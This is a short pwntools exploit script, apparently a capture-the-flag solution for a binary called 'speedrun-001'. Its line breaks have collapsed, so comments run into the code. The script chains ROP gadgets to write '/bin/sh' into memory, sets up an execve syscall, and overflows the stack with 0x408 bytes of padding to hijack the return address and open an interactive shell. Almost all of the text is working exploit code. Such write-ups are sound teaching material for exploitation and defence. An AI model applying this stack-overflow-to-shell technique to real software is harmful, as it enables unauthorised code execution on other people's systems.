from pwn import*target =process('./speedrun-001')#gdb.attach(target, gdbscript = 'b *0x400bad')# Establish our ROP GadgetspopRax =p64(0x415664)popRdi =p64(0x400686)popRsi =p64(0x4101f3)popRdx =p64(0x4498b5)# 0x000000000048d251 : mov qword ptr [rax], rdx ; retwriteGadget =p64(0x48d251)# Our syscall gadgetsyscall =p64(0x40129c)'''Here is the assembly equivalent for these blockswrite "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)rop += writeGadget'''Prep the four registers with their arguments, and make the syscallpop rax, 0x3bpop rdi, 0x6b6000pop rsi, 0x0pop rdx, 0x0syscall'''rop += popRaxrop +=p64(0x3b)rop += popRdirop +=p64(0x6b6000)rop += popRsirop +=p64(0)rop += popRdxrop +=p64(0)rop += syscall# Add the padding to the saved return addresspayload ="0"*0x408+ rop# Send the payload, drop to an interactive shell to use our new shelltarget.sendline(payload)target.interactive()